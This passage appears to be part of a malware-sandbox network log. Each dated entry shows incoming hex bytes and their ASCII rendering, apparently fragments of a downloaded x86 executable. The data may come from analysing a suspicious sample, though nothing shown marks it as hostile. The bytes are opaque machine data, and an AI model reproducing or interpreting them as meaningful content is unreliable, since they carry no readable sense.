2023-07-18 15:27:11 UTC	2605	IN	Data Raw: eb 12 48 48 e9 9d f8 ff ff b8 01 0b 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 b8 4c 5c 47 00 e8 6f ad 04 00 83 ec 34 53 56 8b f1 57 33 db 6a 03 8d 4d e4 89 5d f0 89 5d e4 89 5d e8 89 5d ec e8 59 13 fe ff 38 5e 18 8b 7e 10 89 5d fc 0f 84 4b 01 00 00 89 7d f0 4f 3b fb 7c 66 8b 46 0c 66 8b 1c 78 66 83 fb 7a 75 26 8d 45 e4 66 ba 61 00 50 8d 4d d8 e8 de 0b 00 00 50 8d 4d e4 c6 45 fc 01 e8 a4 12 fe ff 80 65 fc 00 ff 75 d8 eb 2a 66 83 fb 5a 75 63 8d 45 e4 66 ba 41 00 50 8d 4d cc e8 b2 0b 00 00 50 8d 4d e4 c6 45 fc 02 e8 78 12 fe ff 80 65 fc 00 ff 75 cc e8 5e 6e fe ff 4f 59 79 9a 8d 7e 0c 8d 45 e4 50 8b cf e8 5a 12 fe ff 8b 4d 08 57 8b d6 e8 c9 a4 fe ff ff 75 e4 e8 39 6e fe ff 8b 45 08 59 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 Data Ascii: HHBM_^d[L\Go4SVW3jM]]]]Y8^~]K}O;\|fFfxfzu&EfaPMPMEeu*fZucEfAPMPMExeu^nOYy~EPZMWu9nEYM_^[d
2023-07-18 15:27:11 UTC	2621	IN	Data Raw: 00 a1 8c c9 48 00 a3 cc 0c 49 00 c3 8b 15 8c c9 48 00 56 8d 71 14 8b ce e8 1e 00 00 00 84 c0 75 15 8b 15 90 c9 48 00 8b ce e8 0d 00 00 00 84 c0 75 04 33 c0 5e c3 6a 01 58 5e c3 8b 09 e8 46 35 fe ff f7 d8 1b c0 40 c3 b8 80 64 47 00 e8 4c 6d 04 00 83 ec 24 53 56 8b 71 3c 57 8b 7d 08 83 7f 18 00 75 0e ff 35 cc 0c 49 00 8d 4f 14 e8 2f ea fd ff 8b cf e8 93 ff ff ff 84 c0 0f 84 42 01 00 00 83 fe 09 72 07 b8 00 00 00 04 eb 27 83 fe 07 72 07 b8 00 00 00 02 eb 1b 83 fe 05 72 07 b8 00 00 00 01 eb 0f 83 fe 03 1b c0 25 00 00 f1 ff 05 00 00 10 00 83 fe 05 8b 0d a8 c9 48 00 1b db 43 83 fe 07 1b ff 83 e7 e0 83 c7 40 83 fe 05 73 06 8b 0d a4 c9 48 00 66 83 65 e2 00 89 4d f0 66 c7 45 e0 13 00 89 45 e8 8b 4d 08 83 65 fc 00 8d 45 e0 50 6a 01 5a e8 69 03 00 00 83 ce ff 8d 4d Data Ascii: HIHVquHu3^jX^F5@dGLm$SVq<W}u5IO/Br'rr%HC@sHfeMfEEMeEPjZiM
2023-07-18 15:27:11 UTC	2637	IN	Data Raw: 6b 47 00 e8 96 2d 04 00 51 56 8b f1 89 75 f0 8d 8e 94 00 00 00 c7 45 fc 03 00 00 00 e8 f1 fa fd ff 8d 4e 7c c6 45 fc 02 e8 e5 fa fd ff 8d 4e 68 c6 45 fc 01 e8 d9 fa fd ff 80 65 fc 00 8d 4e 54 e8 cd fa fd ff 83 4d fc ff 8d 4e 04 e8 f2 aa ff ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 8b c1 83 60 04 00 83 60 08 00 c7 00 ec a7 47 00 c3 8b c1 33 c9 89 48 04 89 48 08 89 48 0c c7 40 10 04 00 00 00 c7 00 78 b1 47 00 c3 b8 9c 6b 47 00 e8 0a 2d 04 00 51 56 8b f1 89 75 f0 c7 06 00 b3 47 00 83 65 fc 00 e8 91 fa fd ff 83 4d fc ff 8b ce e8 5d fa fd ff 8b 4d f4 5e 64 89 0d 00 00 00 00 c9 c3 b8 b2 6b 47 00 e8 d2 2c 04 00 51 56 8b f1 6a 28 e8 29 ee fd ff 59 8b c8 89 4d f0 33 c0 3b c8 89 45 fc 74 08 ff 75 08 e8 e2 02 00 00 83 4d fc ff 50 8b ce e8 81 d0 fe ff 8b 4d f4 5e 64 Data Ascii: kG-QVuEN\|ENhEeNTMNM^d``G3HHH@xGkG-QVuGeM]M^dkG,QVj()YM3;EtuMPM^d
2023-07-18 15:27:11 UTC	2653	IN	Data Raw: 65 fc 00 e8 1e af fd ff 8b 75 08 59 eb 2a 50 51 8d 4e 0c e8 c4 8b ff ff 85 c0 74 0f 8b f0 ff 75 e4 e8 00 af fd ff 59 8b c6 eb 22 ff 75 e4 80 65 fc 00 e8 ef ae fd ff 59 43 e9 46 ff ff ff 33 c0 eb 0b b8 3a cb 42 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 10 00 56 8b f2 57 8b f9 8d 46 0c 8d 56 08 50 e8 3e 00 00 00 85 c0 75 37 8b 07 66 83 38 3a 74 07 b8 57 00 07 80 eb 28 6a 01 6a 00 8b cf e8 25 aa fd ff 8d 46 04 8b d6 50 8b cf e8 13 00 00 00 85 c0 75 0c 8b 47 04 f7 d8 1b c0 25 57 00 07 80 5f 5e c3 56 57 8b 7c 24 0c 8b f1 83 27 00 e8 0a 98 ff ff 85 c0 74 2a 50 6a 00 8b ce e8 e7 a9 fd ff 8b 06 66 83 38 53 75 29 6a 01 6a 00 8b ce e8 d4 a9 fd ff 8b d7 8b ce e8 e0 97 ff ff 85 c0 75 07 b8 57 00 07 80 eb 0c 50 6a 00 8b ce e8 b6 a9 fd ff 33 c0 Data Ascii: euYPQNtuY"ueYCF3:BM_^d[VWFVP>u7f8:tW(jj%FPuG%W_^VW\|$'tPjf8Su)jjuWPj3
2023-07-18 15:27:11 UTC	2669	IN	Data Raw: 24 0c 8b f1 3b 7e 1c 7c 13 53 8d 5e 14 6a 00 8b cb e8 27 a1 00 00 3b 7e 1c 7d f2 5b 8b 4e 20 8a 44 24 10 84 c0 88 04 39 74 24 3b 7e 08 7c 0d 6a 00 6a 00 8b ce e8 73 2d ff ff eb ee 8b 46 0c 8b 4c 24 14 89 0c f8 8b 4c 24 18 89 4c f8 04 5f 5e c2 10 00 b8 48 78 47 00 e8 41 ad 03 00 83 ec 14 56 57 8b f9 8d b7 58 02 00 00 8b ce e8 ca 7a fd ff 81 c7 c8 01 00 00 8d 4d e0 57 e8 2f 3b ff ff 6a 0e 33 ff 5a 8d 4d e0 89 7d fc e8 3f 01 00 00 6a 0f 8d 4d e0 5a e8 34 01 00 00 6a 11 8b d6 8d 4d e0 e8 d7 00 00 00 6a 10 8b d6 8d 4d e0 e8 cb 00 00 00 6a 09 8b d6 8d 4d e0 e8 bf 00 00 00 6a 06 8b d6 8d 4d e0 e8 b3 00 00 00 6a 12 8b d6 8d 4d e0 e8 a7 00 00 00 6a 14 8b d6 8d 4d e0 e8 9b 00 00 00 6a 13 8b d6 8d 4d e0 e8 8f 00 00 00 6a 15 8b d6 8d 4d e0 e8 83 00 00 00 6a 0a 8b d6 Data Ascii: $;~\|S^j';~}[N D$9t$;~\|jjs-FL$L$L_^HxGAVWXzMW/;j3ZM}?jMZ4jMjMjMjMjMjMjMjMj
2023-07-18 15:27:11 UTC	2685	IN	Data Raw: 3b c3 0f 85 3f 01 00 00 39 5e 18 74 65 8b ce e8 8f fc ff ff ff 46 28 8b f8 3b fb c6 46 39 01 75 1c 8b 4e 34 3b cb 74 15 8b 56 10 3b d3 74 0e 8b 46 48 2b 46 20 50 e8 df af fd ff 8b f8 39 5e 10 75 16 80 7e 1c 00 74 10 39 5e 34 74 0b 6a 01 8b ce e8 0f fc ff ff eb 07 8b ce e8 32 fc ff ff 3b c3 0f 85 e0 00 00 00 3b fb 74 9d 8b c7 e9 d5 00 00 00 80 66 1c 00 83 7d ec 00 0f 87 b3 00 00 00 8b 5d 10 e9 d1 fe ff ff 8b 46 0c 8b 4e 28 8b 40 08 3b c8 7d 3a 8b 46 08 8b 56 24 03 d1 33 ff 8b 48 20 8b 40 0c 8d 0c d1 8b 11 8b 49 04 8b 04 90 8b 56 48 8b 40 70 8b 04 88 8b 48 10 89 4e 3c 8b 4e 4c 8b 40 0c 3b f9 77 17 72 04 3b c2 73 07 b8 05 40 00 80 eb 71 3b f9 72 2c 77 04 3b c2 76 26 8b c8 2b 4e 48 3b 4d 0c 72 03 8b 4d 0c 01 4d ec 85 db 74 05 8b 55 ec 89 13 01 4d 08 29 4d 0c Data Ascii: ;?9^teF(;F9uN4;tV;tFH+F P9^u~t9^4tj2;;tf}]FN(@;}:FV$3H @IVH@pHN<NL@;wr;s@q;r,w;v&+NH;MrMMtUM)M
2023-07-18 15:27:11 UTC	2701	IN	Data Raw: e8 7a 03 00 00 8d 46 18 8d 8d 18 fe ff ff 50 6a 08 5b 8b d3 e8 1e 03 00 00 84 c0 0f 84 c9 01 00 00 8d 7e 1c 8b d3 57 8d 8d 20 fe ff ff e8 05 03 00 00 84 c0 75 03 83 27 00 8d 7e 20 8b d3 57 8d 8d 28 fe ff ff e8 ed 02 00 00 84 c0 75 03 83 27 00 0f b6 85 30 fe ff ff 0f b6 8d 31 fe ff ff c1 e0 08 0b c1 0f b6 8d 32 fe ff ff c1 e0 08 0b c1 0f b6 8d 33 fe ff ff c1 e0 08 0b c1 3d 00 00 00 80 8d 46 10 89 45 0c 75 6a 0f b6 85 34 fe ff ff 0f b6 8d 35 fe ff ff c1 e0 08 0b c1 0f b6 8d 36 fe ff ff c1 e0 08 0b c1 0f b6 8d 37 fe ff ff 0f b6 bd 39 fe ff ff c1 e0 08 0b c1 33 c9 8b d0 0f b6 85 38 fe ff ff c1 e0 08 0b c7 0f b6 bd 3a fe ff ff c1 e0 08 0b c7 0f b6 bd 3b fe ff ff c1 e0 08 0b c7 33 ff 0b c8 8b 45 0c 0b d7 89 08 89 50 04 eb 17 50 6a 0c 5a 8d 8d 30 fe ff ff e8 df Data Ascii: zFPj[~W u'~ W(u'0123=FEuj4567938:;3EPPjZ0
2023-07-18 15:27:11 UTC	2717	IN	Data Raw: 65 fc 00 8d 4d 80 e8 56 00 00 00 33 c0 eb 0b b8 07 cb 43 00 c3 b8 0e 00 07 80 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 5b c9 c2 14 00 8b c1 33 c9 89 08 89 48 04 89 48 08 89 48 0c 89 48 10 89 48 14 89 48 18 89 48 1c 89 48 20 89 48 28 89 48 2c 89 48 30 c7 40 34 04 00 00 00 c7 40 24 30 b8 47 00 c3 b8 a7 87 47 00 e8 33 ed 02 00 51 51 56 8b f1 57 89 75 f0 83 65 fc 00 8d 7e 24 89 7d ec c7 07 30 b8 47 00 8b cf c6 45 fc 05 e8 ac ba fc ff 8b cf c6 45 fc 04 e8 78 ba fc ff 8b 46 20 c6 45 fc 03 85 c0 74 06 8b 08 50 ff 51 08 8b 46 1c c6 45 fc 02 85 c0 74 06 8b 08 50 ff 51 08 8b 46 14 c6 45 fc 01 85 c0 74 06 8b 08 50 ff 51 08 8b 46 10 80 65 fc 00 85 c0 74 06 8b 08 50 ff 51 08 8b 76 0c 83 4d fc ff 85 f6 74 06 8b 06 56 ff 50 08 8b 4d f4 5f 5e 64 89 0d 00 00 00 00 c9 c3 e9 53 Data Ascii: eMV3CM_^d[3HHHHHHHH H(H,H0@4@$0GG3QQVWue~$}0GEExF EtPQFEtPQFEtPQFetPQvMtVPM_^dS
2023-07-18 15:27:11 UTC	2733	IN	Data Raw: e8 fe fc ff ff 8a 46 40 8b cf 50 e8 c1 fc ff ff 8a 46 41 8b cf 50 e8 b6 fc ff ff 8a 06 80 7d fd 00 88 45 f8 74 08 3c 2d 73 04 c6 45 f8 2d ff 75 f8 8b cf e8 99 fc ff ff 8a 46 01 8b cf 50 e8 8e fc ff ff 66 8b 46 02 8b cf 50 e8 91 fc ff ff 66 8b 46 04 8b cf 50 e8 85 fc ff ff ff 76 08 8b cf e8 9e fc ff ff ff 76 0c 8b cf e8 94 fc ff ff 80 7d ff 00 74 05 83 c8 ff eb 03 8b 46 10 50 8b cf e8 7e fc ff ff 80 7d 0b 00 74 05 83 c8 ff eb 03 8b 46 18 53 50 8b cf e8 67 fc ff ff ff 76 24 8b cf e8 3a fc ff ff 8a 5d fe 8a 45 ff f6 db 1b db 83 e3 08 f6 d8 1b c0 83 e0 08 03 d8 8a 45 0b f6 d8 1b c0 83 e0 08 03 d8 8a 45 fd f6 d8 8d 4b 04 1b c0 23 c1 8a 8e 8a 00 00 00 f6 d9 1b c9 83 e1 24 03 c1 8d 4e 68 89 45 f8 e8 83 fe ff ff 01 45 f8 8b cf ff 75 f8 e8 e5 fb ff ff ff b6 80 00 Data Ascii: F@PFAP}Et<-sE-uFPfFPfFPvv}tFP~}tFSPgv$:]EEEK#$NhEEu
2023-07-18 15:27:11 UTC	2749	IN	Data Raw: 4e 24 c7 44 24 78 ff ff ff ff e8 6b 32 ff ff 8d 4e 4c e8 63 32 ff ff 8d 4e 74 e8 5b 32 ff ff 8b 86 b4 00 00 00 85 c0 74 10 8b 10 50 ff 52 08 c7 86 b4 00 00 00 00 00 00 00 8b c7 e9 c9 00 00 00 8b 44 24 14 c6 44 24 78 00 85 c0 74 06 8b 08 50 ff 51 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8d 4e 24 e8 13 32 ff ff 8d 4e 4c e8 0b 32 ff ff 8b 46 74 33 db 3b c3 74 09 8b 10 50 ff 52 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 0c 8b 08 50 ff 51 08 89 9e b4 00 00 00 8b c7 eb 6e 8b 44 24 14 c6 44 24 78 00 3b c3 74 06 8b 10 50 ff 52 08 8b 74 24 10 c7 44 24 78 ff ff ff ff 8b 46 24 3b c3 74 09 8b 08 50 ff 51 08 89 5e 24 8b 46 4c 3b c3 74 09 8b 10 50 ff 52 08 89 5e 4c 8b 46 74 3b c3 74 09 8b 08 50 ff 51 08 89 5e 74 8b 86 b4 00 00 00 3b c3 74 a3 8b 10 50 ff 52 08 89 9e b4 00 00 Data Ascii: N$D$xk2NLc2Nt[2tPRD$D$xtPQt$D$xN$2NL2Ft3;tPR^t;tPQnD$D$x;tPRt$D$xF$;tPQ^$FL;tPR^LFt;tPQ^t;tPR
2023-07-18 15:27:11 UTC	2765	IN	Data Raw: 9c 70 02 00 00 8b 2a 83 c2 04 03 cd 46 3b c8 72 f4 8d 6e ff 3b eb 7e 20 3b 7c 24 18 74 1a 83 ff 01 74 15 8b 54 24 10 83 e2 01 80 fa 01 75 09 8b f5 2b 8c b4 70 02 00 00 8b 6c 24 24 33 c0 3b c3 7c 08 3b c6 7d 04 33 d2 eb 05 ba 01 00 00 00 88 14 28 8b 54 24 38 40 3b c2 7c e3 8b 44 24 1c 8b de 8b 74 24 10 2b c1 4f 46 81 ed 02 01 00 00 89 44 24 1c 85 ff 89 74 24 10 89 6c 24 24 0f 85 6f ff ff ff 8b 6c 24 54 c7 44 24 28 04 00 00 00 8b 5c 24 18 33 d2 8d b5 20 06 00 00 33 c0 8b fe 42 b9 02 01 00 00 81 c6 08 04 00 00 3b d3 f3 ab 7c ea 33 c9 8d 85 80 36 00 00 89 4c 24 34 89 44 24 1c 8b 54 24 3c 33 ff 8d 74 24 70 33 c0 8a 04 11 41 3d ff 00 00 00 72 08 33 db 8a 1c 11 03 c3 41 89 06 47 83 c6 04 83 ff 32 7d 06 3b 4c 24 20 72 da 89 4c 24 30 c7 44 24 24 ff ff ff ff c7 44 Data Ascii: p*F;rn;~ ;\|$ttT$u+pl$$3;\|;}3(T$8@;\|D$t$+OFD$t$l$$ol$TD$(\$3 3B;\|36L$4D$T$<3t$p3A=r3AG2};L$ rL$0D$$D
2023-07-18 15:27:11 UTC	2781	IN	Data Raw: 8b c2 89 56 04 3b c1 75 07 8b ce e8 bb 24 fc ff 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 e9 78 02 00 00 25 ff ff 00 00 33 d2 33 c9 89 44 24 14 8a 90 f0 13 49 00 8d b5 70 04 00 00 89 54 24 1c 8a 8c 2a 3d 08 00 00 8b 9c 95 80 11 00 00 8b f9 85 ff 76 7d 8b 46 28 3b f8 72 4b b9 08 00 00 00 2b f8 2b c8 8a c3 8b 2e d2 e0 8a 4e 2c 0a c1 8b 4e 04 88 04 29 8b 6e 04 8b 4e 08 45 8b c5 89 6e 04 3b c1 75 0b 8b ce e8 39 24 fc ff 8b 54 24 1c 8b 4e 28 c7 46 28 08 00 00 00 d3 eb 85 ff c6 46 2c 00 77 b0 eb 23 8b 6e 28 b0 01 8b cf d2 e0 b9 08 00 00 00 2b cd fe c8 22 c3 d2 e0 8a 4e 2c 0a c8 2b ef 88 4e 2c 89 6e 28 8b 44 24 14 8b 6c 24 10 8b 8d e0 04 00 00 33 db 8a 1c 11 8b 8d dc 04 00 00 8b fb 33 db 8a 1c 11 2b c3 85 ff 8b d8 76 71 8b 46 28 3b f8 72 47 b9 Data Ascii: V;u$N(F(F,wx%33D$IpT$*=v}F(;rK++.N,N)nNEn;u9$T$N(F(F,w#n(+"N,+N,n(D$l$33+vqF(;rG
2023-07-18 15:27:11 UTC	2797	IN	Data Raw: 00 00 00 00 5e c3 90 90 90 90 90 90 90 90 56 8b 74 24 08 8d 4e 30 e8 94 e4 fb ff 85 c0 75 0b 8b 8e ac 1c 00 00 e8 c4 fc ff ff 5e c2 04 00 51 8b 41 2c 56 8d 71 08 8b 54 24 0c b9 0f 00 00 00 57 8b 7e 20 2b c8 d3 ef b9 11 00 00 00 03 c2 2b ca 89 46 24 81 e7 ff ff 01 00 d3 ef 83 f8 10 72 72 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 0e d5 fb ff 88 44 24 08 eb 09 8a 08 40 88 4c 24 08 89 06 8b 06 8b 4e 04 3b c1 72 0d 8b ce e8 ef d4 fb ff 88 44 24 10 eb 09 8a 10 40 88 54 24 10 89 06 8b 46 20 8b 4c 24 10 8b 54 24 08 81 e1 ff 00 00 00 c1 e0 08 0b c1 8b 4e 24 c1 e0 08 81 e2 ff 00 00 00 83 c1 f0 0b c2 89 4e 24 89 46 20 8b c1 83 f8 10 73 8e 8b c7 5f 5e 59 c2 04 00 90 90 90 90 81 ec b4 00 00 00 53 55 56 33 db 57 8b e9 33 f6 6a 04 8b cd e8 37 ff ff ff 88 44 34 28 46 83 fe 14 Data Ascii: ^Vt$N0u^QA,VqT$W~ ++F$rrN;rD$@L$N;rD$@T$F L$T$N$N$F s_^YSUV3W3j7D4(F
2023-07-18 15:27:11 UTC	2813	IN	Data Raw: 90 b1 47 00 c7 41 04 80 b1 47 00 e9 ae ff ff ff 90 90 90 90 90 90 90 90 90 90 90 90 90 90 6a ff 68 9e 9b 47 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 94 00 00 00 53 55 8b e9 56 57 8d 4c 24 1c e8 48 94 fb ff 33 ff 89 bc 24 ac 00 00 00 89 7c 24 40 89 7c 24 44 89 7c 24 54 89 7c 24 60 68 00 00 10 00 8d 4c 24 20 c6 84 24 b0 00 00 00 01 e8 2c 94 fb ff 84 c0 75 62 8d 4c 24 40 c6 84 24 ac 00 00 00 02 e8 34 a3 fb ff 8b 44 24 54 c6 84 24 ac 00 00 00 00 3b c7 74 06 8b 08 50 ff 51 08 8d 4c 24 1c c7 84 24 ac 00 00 00 03 00 00 00 e8 2b 94 fb ff 8b 44 24 28 c7 84 24 ac 00 00 00 ff ff ff ff 3b c7 0f 84 90 00 00 00 8b 10 50 ff 52 08 b8 0e 00 07 80 e9 26 06 00 00 8b 84 24 b4 00 00 00 8d 4c 24 1c 50 e8 04 94 fb ff 8d 4c 24 1c e8 0a 94 fb ff 68 00 00 10 00 8d 4c 24 Data Ascii: GAGjhGdPd%SUVWL$H3$\|$@\|$D\|$T\|$`hL$ $,ubL$@$4D$T$;tPQL$$+D$($;PR&$L$PL$hL$
2023-07-18 15:27:11 UTC	2829	IN	Data Raw: ff ff 5f 5e 5b 83 f9 03 76 11 8b 54 24 18 33 c0 89 02 8b c5 5d 83 c4 0c c2 0c 00 8b 54 24 18 49 d3 e0 83 e0 07 89 02 8b c5 5d 83 c4 0c c2 0c 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 2c 83 fa 10 73 08 33 c0 83 c4 2c c2 08 00 8b 44 24 30 53 55 83 ea 10 56 2b c1 57 89 54 24 28 c7 44 24 10 00 00 00 00 8b f9 89 44 24 24 90 0f b6 07 83 e0 1f 0f b6 88 bc c5 47 00 b8 05 00 00 00 33 f6 89 4c 24 20 89 44 24 1c 89 74 24 18 8b 54 24 20 8b ce d3 ea f6 c2 01 0f 84 84 01 00 00 8b f0 8b c8 c1 ee 03 0f b6 44 37 05 99 0f a4 c2 08 c1 e0 08 8b d8 0f b6 44 37 04 8b ea 99 83 e1 07 03 d8 0f b6 44 37 03 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 02 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 44 37 01 13 ea 0f a4 dd 08 99 c1 e3 08 03 d8 0f b6 04 37 13 ea 0f a4 dd 08 Data Ascii: _^[vT$3]T$I],s3,D$0SUV+WT$(D$D$$G3L$ D$t$T$ D7D7D7D7D77
2023-07-18 15:27:11 UTC	2845	IN	Data Raw: 75 08 8b d1 c7 02 02 00 00 00 83 7e 78 08 0f 85 da fd ff ff e9 5f fd ff ff bd 01 00 00 00 e9 61 fd ff ff 8b 44 24 48 c7 00 02 00 00 00 e9 50 fd ff ff 8b 4c 24 48 c7 01 03 00 00 00 e9 41 fd ff ff 8b 54 24 48 c7 02 03 00 00 00 e9 32 fd ff ff 8b e8 e9 2d fd ff ff 5f 5e 8b c5 5d 5b 83 c4 24 c2 14 00 5f 5e 5d 33 c0 5b 83 c4 24 c2 14 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 08 8b 4c 24 10 8b 01 53 33 db 39 5f 18 55 8b 6c 24 14 0f 95 c3 89 44 24 0c c7 44 24 14 00 00 20 00 c7 01 00 00 00 00 83 c3 05 3b c3 73 0d 5d b8 07 00 00 00 5b 83 c4 08 c2 0c 00 8b 0f 2b c3 89 44 24 08 e8 a6 25 00 00 8b 57 14 8d 44 24 14 50 68 00 00 01 00 8d 4c 24 10 51 8b 0f 03 dd 53 e8 6a 62 00 00 8b 54 24 14 85 d2 0f 84 9f 01 00 00 56 85 c0 75 2c 8b 74 24 0c 8d 46 02 3b c2 73 Data Ascii: u~x_aD$HPL$HAT$H2-_^][$_^]3[$L$S39_Ul$D$D$ ;s][+D$%WD$PhL$QSjbT$Vu,t$F;s
2023-07-18 15:27:11 UTC	2861	IN	Data Raw: 0f b6 8c 24 80 00 00 00 57 8d bd a0 0e 03 00 e8 da f0 ff ff eb 50 0f b6 84 24 80 00 00 00 c7 44 24 34 00 00 00 00 0d 00 01 00 00 8d 49 00 8b c8 c1 e9 08 0f b7 14 4f 8b c8 c1 e9 07 83 e1 01 f7 d9 c1 f9 04 83 e1 7f c1 ea 04 33 d1 8b 4c 24 34 03 8c 95 a0 0e 03 00 03 c0 89 4c 24 34 3d 00 00 01 00 72 ca 8b c1 8b 54 24 2c 03 d0 89 54 24 2c 3b 93 d0 06 00 00 73 2c 89 93 d0 06 00 00 8b 54 24 14 89 93 e8 06 00 00 c7 83 ec 06 00 00 ff ff ff ff c7 83 d8 06 00 00 00 00 00 00 c7 44 24 28 01 00 00 00 8b 4c 24 40 0f b7 84 4d b0 25 03 00 0f b7 94 75 30 27 03 00 35 f0 07 00 00 c1 e8 04 8b 84 85 a0 0e 03 00 03 44 24 24 81 f2 f0 07 00 00 c1 ea 04 8b bc 95 a0 0e 03 00 8b 54 24 14 03 f8 89 44 24 58 8a 84 24 80 00 00 00 89 7c 24 48 38 44 24 13 75 61 39 93 e8 06 00 00 73 09 83 Data Ascii: $WP$D$4IO3L$4L$4=rT$,T$,;s,T$D$(L$@M%u0'5D$$T$D$X$\|$H8D$ua9s
2023-07-18 15:27:11 UTC	2877	IN	Data Raw: 24 14 8a 48 02 80 f9 07 73 14 fe 48 03 75 0f 66 d1 20 b2 03 d2 e2 fe c1 88 48 02 88 50 03 89 7e 08 8a 1f 8b ce e8 14 fb ff ff 5f 5e 5d 0f b6 c3 5b 81 c4 0c 05 00 00 c3 5f 5e 5d b8 fe ff ff ff 5b 81 c4 0c 05 00 00 c3 cc cc cc cc cc cc 33 c0 89 01 89 41 04 c7 41 08 ff ff ff ff 88 41 0c c7 41 10 01 00 00 00 89 41 14 c3 cc cc cc cc 8b 46 08 33 d2 f7 74 24 0c 53 bb 00 00 00 00 8b c8 0f af 4c 24 08 01 0e 11 5e 04 0f af 44 24 0c 89 46 08 3d 00 00 00 01 73 78 55 57 83 cd ff 90 8b 3e c1 66 08 08 81 ff 00 00 00 ff 72 10 8b 56 04 8b c7 b1 20 e8 36 67 00 00 85 c0 74 3a 8a 5e 0c 8b 06 8b 56 04 8b 7e 18 b1 20 e8 20 67 00 00 8b ca 8d 14 03 8b 07 8b cf ff d0 80 cb ff 01 6e 10 8b 46 10 11 6e 14 0b 46 14 75 d5 8b 3e 8b cf c1 e9 18 88 4e 0c 33 db 83 46 10 01 89 5e 04 11 5e Data Ascii: $HsHuf HP~_^][_^][3AAAAAF3t$SL$^D$F=sxUW>frV 6gt:^V~ gnFnFu>N3F^^
2023-07-18 15:27:11 UTC	2893	IN	Data Raw: 89 51 58 89 41 5c 89 41 60 89 81 a8 00 00 00 89 81 bc 00 00 00 89 81 d0 00 00 00 89 81 e4 00 00 00 89 01 89 41 04 89 41 48 89 41 4c c3 cc 83 c1 58 e9 98 f9 ff ff cc cc cc cc cc cc cc cc 83 ec 58 8b 44 24 5c 53 8b 5c 24 68 55 8b 6c 24 68 56 57 89 54 24 10 8b 13 8b f9 8b 08 c7 00 00 00 00 00 8b 44 24 7c c7 03 00 00 00 00 89 4c 24 1c 89 54 24 18 c7 00 00 00 00 00 eb 03 8d 49 00 8b 0b 8b 74 24 18 8b 07 2b f1 89 74 24 74 83 f8 06 0f 85 17 01 00 00 8b 44 24 1c 8b 4c 24 6c 2b 01 89 74 24 70 89 44 24 74 85 f6 75 08 85 c0 0f 84 91 05 00 00 8b 54 24 7c 8b 44 24 78 52 50 6a 00 8d 4c 24 7c 51 55 8d 94 24 88 00 00 00 52 8b 54 24 28 8d 4f 58 e8 d5 f9 ff ff 8b 74 24 74 8b 54 24 10 56 8d 8f 90 01 00 00 89 44 24 18 e8 ad f1 ff ff 8b 44 24 70 01 03 8b 4c 24 6c 03 e8 01 47 Data Ascii: QXA\A`AAHALXXD$\S\$hUl$hVWT$D$\|L$T$It$+t$tD$L$l+t$pD$tuT$\|D$xRPjL$\|QU$RT$(OXt$tT$VD$D$pL$lG
2023-07-18 15:27:11 UTC	2909	IN	Data Raw: 0f 83 e6 f0 eb 03 6a 10 5e 89 75 0c 89 7d dc 83 fe e0 0f 87 f3 00 00 00 6a 09 e8 59 1a 00 00 59 c7 45 fc 01 00 00 00 8d 45 d4 50 8d 45 c8 50 53 e8 3f 2d 00 00 83 c4 0c 8b f8 89 7d d0 85 ff 0f 84 aa 00 00 00 3b 35 5c 01 49 00 73 5c 8b de c1 eb 04 53 57 ff 75 d4 ff 75 c8 e8 dd 30 00 00 83 c4 10 85 c0 74 08 8b 45 08 89 45 dc eb 38 53 e8 9c 2d 00 00 59 89 45 dc 85 c0 74 2a 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 ff 75 08 ff 75 dc e8 37 fa ff ff 57 ff 75 d4 ff 75 c8 e8 28 2d 00 00 83 c4 18 8b 5d 08 83 7d dc 00 75 53 56 6a 00 ff 35 80 65 49 00 ff 15 8c a1 47 00 89 45 dc 85 c0 74 3d 0f b6 07 c1 e0 04 89 45 cc 3b c6 72 02 8b c6 50 53 ff 75 dc e8 f0 f9 ff ff 57 ff 75 d4 ff 75 c8 e8 e1 2c 00 00 83 c4 18 eb 13 56 53 6a 00 ff 35 80 65 49 00 ff 15 94 a1 47 00 Data Ascii: j^u}jYYEEPEPS?-};5\Is\SWuu0tEE8S-YEt*E;rPuu7Wuu(-]}uSVj5eIGEt=E;rPSuWuu,VSj5eIG
2023-07-18 15:27:11 UTC	2925	IN	Data Raw: d5 8b f0 3b f3 74 0c c7 05 40 38 49 00 01 00 00 00 eb 28 ff 15 f0 a1 47 00 8b f8 3b fb 0f 84 ea 00 00 00 c7 05 40 38 49 00 02 00 00 00 e9 8f 00 00 00 83 f8 01 0f 85 81 00 00 00 3b f3 75 0c ff d5 8b f0 3b f3 0f 84 c2 00 00 00 66 39 1e 8b c6 74 0e 40 40 66 39 18 75 f9 40 40 66 39 18 75 f2 2b c6 8b 3d 44 a0 47 00 d1 f8 53 53 40 53 53 50 56 53 53 89 44 24 34 ff d7 8b e8 3b eb 74 32 55 e8 4e b4 ff ff 3b c3 59 89 44 24 10 74 23 53 53 55 50 ff 74 24 24 56 53 53 ff d7 85 c0 75 0e ff 74 24 10 e8 65 b5 ff ff 59 89 5c 24 10 8b 5c 24 10 56 ff 15 ec a1 47 00 8b c3 eb 53 83 f8 02 75 4c 3b fb 75 0c ff 15 f0 a1 47 00 8b f8 3b fb 74 3c 38 1f 8b c7 74 0a 40 38 18 75 fb 40 38 18 75 f6 2b c7 40 8b e8 55 e8 e7 b3 ff ff 8b f0 59 3b f3 75 04 33 f6 eb 0b 55 57 56 e8 cf b9 ff ff Data Ascii: ;t@8I(G;@8I;u;f9t@@f9u@@f9u+=DGSS@SSPVSSD$4;t2UN;YD$t#SSUPt$$VSSut$eY\$\$VGSuL;uG;t<8t@8u@8u+@UY;u3UWV
